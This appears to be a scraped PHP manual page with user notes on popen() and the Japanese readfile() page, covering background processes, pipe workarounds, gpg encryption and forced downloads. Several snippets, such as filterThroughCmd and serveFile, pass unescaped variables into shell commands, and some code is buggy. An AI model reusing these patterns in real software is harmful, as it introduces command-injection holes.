I had a problem where Windows would close the call too fast before the entire script was interpreted, but I didn't want my main script to hang until it would be fully loaded.

As a workaround, I called a tiny .php script which would then call the larger script.

myfile.php:
<?php
  $cmd = "php timewrapper.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }
?>

timewrapper.php:
<?php
  $cmd = "php longscript.php";
  $timer = popen("start /B ". $cmd, "r");
  sleep(30);
  pclose($timer);
?>

This way my main script would continue to run without having to pause, while the tiny script pauses while it loads the larger file.
anonymous at anon dot com 08-Feb-2011 01:39
If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business).

using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges.

handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions..
mrjake2 06-Sep-2010 04:08
If you are running in a chroot'ed environment on Debian "Squeeze", this command won't work; there is a problem with the kernel code that popen() eventually calls.

Note that pecl makes heavy use of this command, so if you are running in this environment you will need to install the pecl extension from source instead.
hacklor [AT] NOSPAM [DOT] com 19-Apr-2010 09:03
There is a simple way to start a process in the background but still find out what the process result is. I combined the information from some users below with some of my own coming up with the following:

<?php
$bat_filename = "C:\\my_bat_file.bat";
$bat_log_filename = "C:\\my_bat_file_bat.log";
$bat_file = fopen($bat_filename, "w");
if($bat_file) {
    fwrite($bat_file, "@echo off"."\n");
    fwrite($bat_file, "echo Starting proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "php c:\\my_php_process.php >> ".$bat_log_filename."\n");
    fwrite($bat_file, "echo End proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "EXIT"."\n");
    fclose($bat_file);
}

//
// Start the process in the background
//
$exe = "start /b ".$bat_filename;
if( pclose(popen($exe, 'r')) ) {
    return true;
}
return false;
?>

In my case the file names of the .bat and .log files weren't always the same, so I needed a dynamic way to create the .bat file. The output from the php command is saved to the log file with the >> command. All prints and errors are stored there. At a later time you can open the log file and see what happened.
php at keithtyler dot net 20-Jan-2010 06:26
Note that you *have* to do a read on the handle before you can feof(), even if the command outputs nothing! So..

<?php
$f=popen("sleep 2","r");
while (!feof($f)) {}
pclose($f);
print "done";
?>

will never finish.
webmaster at php-idee dot de 23-Jul-2009 06:36
If you try to execute a command under Windows the PHP script normally waits until the process has been terminated. Executing long-term processes pauses a PHP script even if you don't want to wait for the end of the process.

It wasn't easy to find this beautiful example how to start a process under Windows without waiting for its termination:

<?php
$commandString = 'start /b c:\\programToRun.exe -attachment "c:\\temp\file1.txt"';
pclose(popen($commandString, 'r'));
?>
Marbug at gmail dot com 03-Feb-2009 03:43
If you want to download files from a linux server with a filesize bigger than 2GB you can use the following:

<?php
function serveFile( $file , $as ){
    header( 'Expires: Mon, 1 Apr 1974 05:00:00 GMT' );
    header( 'Pragma: no-cache' );
    header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
    header( 'Content-Description: File Download' );
    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Length: '.trim(`stat -c%s "$file"`) );
    header( 'Content-Disposition: attachment; filename="'. $as .'"' );
    header( 'Content-Transfer-Encoding: binary' );
    //@readfile( $file );

    flush();
    $fp = popen("tail -c ".trim(`stat -c%s "$file"`)." ".$file.' 2>&1', "r");
    while(!feof($fp))
    {
        // send the current file part to the browser
        print fread($fp, 1024);
        // flush the content to the browser
        flush();
    }
    fclose($fp);
}
?>
rockytriton 10-Sep-2007 11:25
Note, when using this with a batch file in windows, you must put an "exit" at the end of your batch file or you will get a new cmd.exe stuck in your process list every time you execute the page.
betchern0t 13-Apr-2007 09:42
Care needs to be taken in the case of long running child processes. Say you want to run tail -f /var/log/messages or in my case burn dvds. If you have a busy wait, Apache2 can sit towards 100%cpu and steadily grow memory. In my case I crashed the server after about an hour and 90% of the dvd burned. During that time apache had consumed a gig of swap.

Offending code - don't copy:

<?php
        $ThisCommand = sprintf("%s %s",COMMAND,$ThisFile);
        $fp=popen($ThisCommand,"r");
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 4096);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
        }
        pclose($fp);
?>

to go from zero memory and 100% cpu  to negligible memory and negligible cpu add a sleep.

<?php
        while (!feof($fp)) {
                set_time_limit (20);
                $results = fgets($fp, 256);
                if (strlen($results) == 0) {
                   // stop the browser timing out
                   echo " ";
                   flush();
                } else {
                   $tok = strtok($results, "\n");
                   while ($tok !== false) {
                        echo htmlentities(sprintf("%s\n",$tok))."<br/>";
                        flush();
                        $tok = strtok("\n");
                   }
                }
                // avoid a busy wait
                sleep(1);

        }
?>

I think the continued banging of the space to keep the browser awake triggered some issues in apache.
don at digithink dot com 19-Dec-2005 04:28
<?php
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
?>
rjl at xs4all dot nl 23-Nov-2005 01:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

<?php
echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
    $buffer = fgets($fp, 4096);
    $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";
?>

Ciao,

Rene =<>=
Cride5 08-Sep-2005 05:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
    $buffer = fgets($handle);
    echo "$buffer<br/>\n";
    ob_flush();
    flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com 20-Jun-2005 06:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?php
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
    $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
    pclose($externalProcess);
}
?>

with this, doing something like

<?php runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
PGP Dude 06-May-2005 12:30
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".  [Because of this,] LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin
    1 => array("pipe", "w"),  // stdout
    2 => array("pipe", "w")   // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
    fwrite($pipes[0], $plain_text);
    fclose($pipes[0]);
    while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $encrypted_text .= $s;
    }
    fclose($pipes[1]);
    // optional:
    while($s= fgets($pipes[2], 1024)) {
      $encrypted_text.= "\n<p>Error: $s</p>\n";
    }
    fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
Michel Machado 06-Mar-2004 05:53
Yet another workaround for not having bidirectional pipes in php.

<?php
$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
?>
http://vmlinuz.nl/about/contact/ 11-Nov-2002 08:58
From the popen linux programmers manual:

"The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag."

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org 08-Aug-2002 11:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

<?php
  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
    unlink($tmpfile);
  } else {
    fwrite($pipe, $plaintxt, strlen($plaintxt));
    pclose($pipe);
    $fd = fopen($tmpfile, "rb");
    $output = fread($fd, filesize($tmpfile));
    fclose($fd);
    unlink($tmpfile);
  }
  return $output;
?>

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 02:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

<?php
function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
    print "pipe failed.";
    return "";
  }
  $output = '';
  while(!feof($pipe)) {
    $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
?>
cyberlot at cyberlot dot net 30-Jun-2002 01:29
The below code works for both way processing ;) Have fun folks

<?php
    system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
    echo $s;
   }

?>
linuxdude010 at yahoo dot com 24-May-2002 11:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

        $key_id = EscapeShellArg($public_key_id);
        putenv("PGPPATH=$keyring_location");

        // encrypt the message
        $pipe = popen("pgpe -r $key_id -af", "r");
        fwrite($pipe, $plain_text);
        $encrypted_text = '';
        while($s = fgets($pipe, 1024)) {
                // read from the pipe
                $encrypted_text .= $s;
        }
        pclose($pipe);

        return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com 08-Mar-2002 04:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?php
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
      $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.


ファイルを出力する

  • ≪ popen
  • readlink ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルを出力する

readfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readfile — ファイルを出力する

説明

readfile ( string $filename , bool $use_include_path = false , resource $context = ? ) : int|false

ファイルを読んで標準出力に書き出します。

パラメータ

filename

読み込もうとするファイルの名前。

use_include_path

オプションの2番目の引数を使用して、これにtrueを設定することにより、 include_path のファイルの検索も行うことができます。

context

コンテキストストリームリソース。

返り値

ファイルから読み込んだバイト数を返します。 失敗した場合に false を返します

エラー / 例外

失敗したときは E_WARNING が発生します。

例

例1 readfile() によるダウンロードの強制

<?php
$file = 'monkey.gif';

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>

上の例の出力は、 たとえば以下のようになります。

開く / 保存 ダイアログ

注意

注意:

readfile() 自体にはメモリに関する問題はなく、 巨大なファイルを送ってもかまいません。out of memoryエラーが出る場合は、 ob_get_level() で出力バッファリングを無効にしてください。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

参考

  • fpassthru() - ファイルポインタ上に残っているすべてのデータを出力する
  • file() - ファイル全体を読み込んで配列に格納する
  • fopen() - ファイルまたは URL をオープンする
  • include - include
  • require - require
  • virtual() - Apache サブリクエストを実行する
  • file_get_contents() - ファイルの内容を全て文字列に読み込む
  • サポートするプロトコル/ラッパー

User Contributed Notes

simbiat at outlook dot com 15-Feb-2021 08:28
flobee.at.gmail.dot.com shared "readfile_chunked" function. It does work, but you may encounter memory exhaustion using "fread". Meanwhile "stream_copy_to_stream" seems to utilize the same amount of memory as "readfile". At least, when I was testing "download" function for my https://github.com/Simbiat/HTTP20 library on 1.5G file with 256M memory limitation that was the case: "fread" I got peak memory usage of ~240M, while with "stream_copy_to_stream" - ~150M.
It does not mean that you can fully escape memory exhaustion, though: if you are reading too much at a time, you can still encounter it. That is why in my library I use a helper function ("speedLimit") to calculate whether selected speed limit will fit the available memory (while allowing some headroom).
You can read comments in the code itself for more details and raise issues for the library, if you think something is incorrect there (especially since it's WIP at the moment of writing this), but so far I am able to get consistent behavior with it.
Anonymous 03-May-2019 11:35
To avoid errors,
just be careful whether slash "/" is allowed or not at the beginning of $file_name parameter.

In my case, trying to send PDF files thru PHP after access-logging,
the beginning "/" must be removed in PHP 7.1.
Paulinator 27-May-2018 09:45
Always using MIME-Type 'application/octet-stream' is not optimal. Most if not all browsers will simply download files with that type.

If you use proper MIME types (and inline Content-Disposition), browsers will have better default actions for some of them. Eg. in case of images, browsers will display them, which is probably what you'd want.

To deliver the file with the proper MIME type, the easiest way is to use:

header('Content-Type: ' . mime_content_type($file));
header('Content-Disposition: inline; filename="'.basename($file).'"');
anon 19-Nov-2016 02:30
In the C source, this function simply opens the path in read+binary mode, without a lock, and uses fpassthru()

If you need a locked read, use fopen(), flock(), and then fpassthru() directly.
Anonymous 18-Oct-2014 12:18
<form action = "open.php" method = "post" >
<input ="text" name ="brian" >
<input type = "submit" name = "download" value = "download">
</form>
<?php

if(isset($_POST['download']))
{
$img ='img';
$pic = '\marcus2';
$fad = 'pdf';

$file = $img.''. $pic .'.'. $fad;

echo $file;

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

}

?>
Brian 25-Feb-2014 01:01
If you are looking for an algorithm that will allow you to download (force download) a big file, may this one will help you.

$filename = "file.csv";
$filepath = "/path/to/file/" . $filename;

// Close sessions to prevent user from waiting until
// download will finish (uncomment if needed)
//session_write_close();

set_time_limit(0);
ignore_user_abort(false);
ini_set('output_buffering', 0);
ini_set('zlib.output_compression', 0);

$chunk = 10 * 1024 * 1024; // bytes per chunk (10 MB)

$fh = fopen($filepath, "rb");

if ($fh === false) {
    echo "Unable open file";
}

header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));

// Repeat reading until EOF
while (!feof($fh)) {
    echo fread($handle, $chunk);

    ob_flush();  // flush output
    flush();
}

exit;
riksoft at gmail dot com 21-Feb-2014 06:03
Just a note for those who face problems on names containing spaces (e.g. "test test.pdf").

In the examples (99% of the time) you can find
header('Content-Disposition: attachment; filename='.basename($file));

but the correct way to set the filename is quoting it (double quote):
header('Content-Disposition: attachment; filename="'.basename($file).'"' );

Some browsers may work without quotation, but for sure not Firefox and as Mozilla explains, the quotation of the filename in the content-disposition is according to the RFC
http://kb.mozillazine.org/Filenames_with_spaces_are_truncated_upon_download
kevin dot goodman at itmsoil dot com 01-Mar-2013 04:16
I wasted days trying to figure this out before I found the problem was easily solved.

I'm sure many of you out there have had similar problem when trying to use readfile to output images with a php file as the "src" of a "img" tag.
It works fine "as is" in Firefox but not in IE, Safari or g.Chrome.

I found hundreds of results on google all saying things like "there must be white space at the end of you code", "you need this header or that header".
I couldn't believe what the solution was but here it is anyway!

Remove the "Width" and "Height" attributes from your "img" tag
daren -remove-me- schwenke 05-May-2011 08:52
If you are lucky enough to not be on shared hosting and have apache, look at installing mod_xsendfile.
This was the only way I found to both protect and transfer very large files with PHP (gigabytes).
It's also proved to be much faster for basically any file.
Available directives have changed since the other note on this and XSendFileAllowAbove was replaced with XSendFilePath to allow more control over access to files outside of webroot.

Download the source.

Install with: apxs -cia mod_xsendfile.c

Add the appropriate configuration directives to your .htaccess or httpd.conf files:
# Turn it on
XSendFile on
# Whitelist a target directory.
XSendFilePath /tmp/blah

Then to use it in your script:
<?php
$file = '/tmp/blah/foo.iso';
$download_name = basename($file);
if (file_exists($file)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.$download_name);
    header('X-Sendfile: '.$file);
    exit;
}
?>
cOrti 31-Mar-2011 03:59
Hello,

Here's a simple trick for browsers (FF, IE) address spaces in filenames for Content-Disposition:

eg: <?php header ("Content-Disposition:attachment; filename=\"$filename\""); ?>

The \ "before and after the file name makes the difference.
Mike 04-Aug-2010 07:46
Beware of using download managers.. I was trying to use readfile in IE8 and kept getting the message "failed to get data for 'type'". Eventually figured out the problem was that I had LeechGet installed and it was intercepting the download, which in turn prevented the download from taking place.
Zambz 22-May-2010 06:33
If you are using the procedures outlined in this article to force sending a file to a user, you may find that the "Content-Length" header is not being sent on some servers.

The reason this occurs is because some servers are setup by default to enable gzip compression, which sends an additional header for such operations.  This additional header is "Transfer-Encoding: chunked" which essentially overrides the "Content-Length" header and forces a chunked download.  Of course, this is not required if you are using the intelligent versions of readfile in this article.

A missing Content-Length header implies the following:

1) Your browser will not show a progress bar on downloads because it doesn't know their length
2) If you output anything (e.g. white space) after the readfile function (by mistake), the browser will add that to the end of the download, resulting in corrupt data.

The easiest way to disable this behaviour is with the following .htaccess directive.

SetEnv no-gzip dont-vary
sakai at d4k dot net 23-Apr-2009 05:25
To reduce the burden on the server, you might want to output "Etag" and/or "Last-Modified" on http response header.  But there are some headers, which PHP itself outputs automatically, disturbing this.  So I wrote this function with erasing these.

If you guys know how to judge the return values of function "stat", in order to avoid using "is_file" or "is_readable" (or "is_dir"), please let me know or just write it here.

If you don't have to do anything special on 404, "header('HTTP/1.x xxx xxxxx');" can be inside of the function.

<?php

$filename = '/foo/bar/myfeed.rss';
$http_stat_code = readfile_if_modified($filename, array('Content-Type: text/xml'));
switch($http_stat_code) {
case 404:
    header('HTTP/1.0 404 Not Found');
    echo '<html><head></head><body><a href="http://example.com/">http://example.com/<a></body></html>';
    exit;
default:
    header('X-System-Url: http://example.com/', true, $http_stat_code);
}

function readfile_if_modified($filename, $http_header_additionals = array()) {

    if(!is_file($filename)) {
//      header('HTTP/1.0 404 Not Found');
        return 404;
    }

    if(!is_readable($filename)) {
//      header('HTTP/1.0 403 Forbidden');
        return 403;
    }

    $stat = @stat($filename);
    $etag = sprintf('%x-%x-%x', $stat['ino'], $stat['size'], $stat['mtime'] * 1000000);

    header('Expires: ');
    header('Cache-Control: ');
    header('Pragma: ');

    if(isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {
        header('Etag: "' . $etag . '"');
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) >= $stat['mtime']) {
        header('Last-Modified: ' . date('r', $stat['mtime']));
//      header('HTTP/1.0 304 Not Modified');
        return 304;
    }

    header('Last-Modified: ' . date('r', $stat['mtime']));
    header('Etag: "' . $etag . '"');
    header('Accept-Ranges: bytes');
    header('Content-Length:' . $stat['size']);
    foreach($http_header_additionals as $header) {
        header($header);
    }

    if(@readfile($filename) === false) {
//      header('HTTP/1.0 500 Internal Server Error');
        return 500;
    } else {
//      header('HTTP/1.0 200 OK');
        return 200;
    }

}

?>
levhita at gmail dot com 21-Oct-2008 12:59
A note on the smartReadFile function from gaosipov:

Change the indexes on the preg_match matches to:

      $begin = intval($matches[1]);
      if( !empty($matches[2]) ) {
        $end = intval($matches[2]);
      }

Otherwise the $begin would be set to the entire section matched and the $end to what should be the begin.

See preg_match for more details on this.
gaosipov at gmail dot com 09-Oct-2008 02:08
Send file with HTTPRange support (partial download):

<?php
function smartReadFile($location, $filename, $mimeType='application/octet-stream')
{ if(!file_exists($location))
  { header ("HTTP/1.0 404 Not Found");
    return;
  }

  $size=filesize($location);
  $time=date('r',filemtime($location));

  $fm=@fopen($location,'rb');
  if(!$fm)
  { header ("HTTP/1.0 505 Internal server error");
    return;
  }

  $begin=0;
  $end=$size;

  if(isset($_SERVER['HTTP_RANGE']))
  { if(preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches))
    { $begin=intval($matches[0]);
      if(!empty($matches[1]))
        $end=intval($matches[1]);
    }
  }

  if($begin>0||$end<$size)
    header('HTTP/1.0 206 Partial Content');
  else
    header('HTTP/1.0 200 OK');

  header("Content-Type: $mimeType");
  header('Cache-Control: public, must-revalidate, max-age=0');
  header('Pragma: no-cache');
  header('Accept-Ranges: bytes');
  header('Content-Length:'.($end-$begin));
  header("Content-Range: bytes $begin-$end/$size");
  header("Content-Disposition: inline; filename=$filename");
  header("Content-Transfer-Encoding: binary\n");
  header("Last-Modified: $time");
  header('Connection: close');

  $cur=$begin;
  fseek($fm,$begin,0);

  while(!feof($fm)&&$cur<$end&&(connection_status()==0))
  { print fread($fm,min(1024*16,$end-$cur));
    $cur+=1024*16;
  }
}
?>

Usage:

<?php
smartReadFile("/tmp/filename","myfile.mp3","audio/mpeg")
?>

It can be slow for big files to read by fread, but this is a single way to read file in strict bounds. You can modify this and add fpassthru instead of fread and while, but it sends all data from begin --- it would be not fruitful if request is bytes from 100 to 200 from 100mb file.
johniskew 26-Sep-2008 12:17
@marks suggestion-

That is one way to do it, however this is avoidable.  For example in Zend Framework you could do

<?php

// Action controller
public function someAction() {

    $response = $this->_response;

    // Disable view and layout rendering
    $this->_helper->viewRenderer->setNoRender();
    $this->_helper->layout()->disableLayout();

    // Process the file
    $file = 'whatever.zip';
    $bits = @file_get_contents($file);
    if(strlen($bits) == 0) {
        $response->setBody('Sorry, we could not find requested download file.');
    }
    else {
        $response->setHeader('Content-type', 'application/octet-stream', true);
        $response->setBody($bits);
    }
}

?>
yura_imbp at mail dot ru 05-Jun-2008 09:46
if you need to limit download rate, use this code

<?php
$local_file = 'file.zip';
$download_file = 'name.zip';

// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file))
{
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);

    flush();
    $file = fopen($local_file, "r");
    while(!feof($file))
    {
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);}
else {
    die('Error: The file '.$local_file.' does not exist!');
}

?>
marro at email dot cz 19-Mar-2008 11:17
My script working correctly on IE6 and Firefox 2 with any typ e of files (I hope :))

function DownloadFile($file) { // $file = include path
        if(file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename='.basename($file));
            header('Content-Transfer-Encoding: binary');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            ob_clean();
            flush();
            readfile($file);
            exit;
        }

    }

Run on Apache 2 (WIN32) PHP5
TimB 11-Feb-2008 02:23
To anyone that's had problems with Readfile() reading large files into memory the problem is not Readfile() itself, it's because you have output buffering on. Just turn off output buffering immediately before the call to Readfile(). Use something like ob_end_flush().
Hayley Watson 17-Oct-2007 09:27
To avoid the risk of choosing themselves which files to download by messing with the request and doing things like inserting "../" into the "filename", simply remember that URLs are not file paths, and there's no reason why the mapping between them has to be so literal as "download.php?file=thingy.mpg" resulting in the download of the file "thingy.mpg".

It's your script and you have full control over how it maps file requests to file names, and which requests retrieve which files.

But even then, as ever, never trust ANYTHING in the request. Basic first-day-at-school security principle, that.
Sinured 17-Jul-2007 06:00
In response to "grey - greywyvern - com":

If you know the target _can't_ be a remote file (e.g. prefixing it with a directory), you should use include instead.
If the user manages to set the target to some kinda config-file (configuration.php in Joomla!), he will get a blank page - unless readfile() is used. Using include will just behave as a normal request (no output).
For remote files however use readfile().
Kniht 07-Jul-2007 11:27
@Elliott Brueggeman
What's the point of a user's settings if not to determine their environment? If they have it set a specific way, honor their setting.
Elliott Brueggeman 25-Jun-2007 08:47
I have noticed some unusual behavior with Internet Explorer 6 that's worth taking note of. I have a link on my site to a script that outputs an XML file to the browser with the below code:

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$filename.'"');
@readfile($file);

When the popular IE setting "Reuse Window for Launching Shortcuts" is unchecked (access this setting in the Tools Menu > Internet Options > Advanced Tab) this script will output the file to the browser and open it in a different window if the user clicks the open button on the IE prompt. However, if this setting is checked, and browser windows are being re-used, then it will open up on top of the page where the link was clicked to access the script.

If I instead set the html link target option to be "_blank", the script will open up in a new window as expected if the "Reuse Window for Launching Shortcuts" is checked. But, if the setting is unchecked, the output XML file will open up in a new window and there will be another blank window also open that has the address of the script, in addition to our original window.

This is far from ideal, and there is no way of knowing whether users have this option checked or not. We are stuck with the distinct possibility of half of our visitors seeing either an annoying third blank window being opened or the script writing over their original window, depending on their "Reuse Window for Launching Shortcuts" setting.
chad 0x40 herballure 0x2e com 17-May-2007 07:53
In reply to herbert dot fischer at NOSPAM dot gmail dot com:

The streams API in PHP5 tries to make things as efficient as possible; in php-5.1.6 on Linux, fpassthru is faster than 'echo fread($fp, 8192)' in a loop, and readfile is even faster for files on disk. I didn't benchmark further, but I'd be willing to bet non-mmap'able streams still win because they can loop in C instead of PHP.
mAu 10-Oct-2006 12:25
Instead of using
<?php
header('Content-Type: application/force-download');
?>
use
<?php
header('Content-Type: application/octet-stream');
?>
Some browsers have troubles with force-download.
peavey at pixelpickers dot com 20-Oct-2005 06:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com 16-Oct-2005 11:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
    # Protect Script against SQL-Injections
    $fileid=intval($_GET[id]);
    # setup SQL statement
    $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

    # execute SQL statement
    $res = mysql_query($sql);

        # display results
        while ($row = mysql_fetch_array($res)) {
        $fileurl = $row['fileurl'];
        $filename= $row['filename'];
        $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
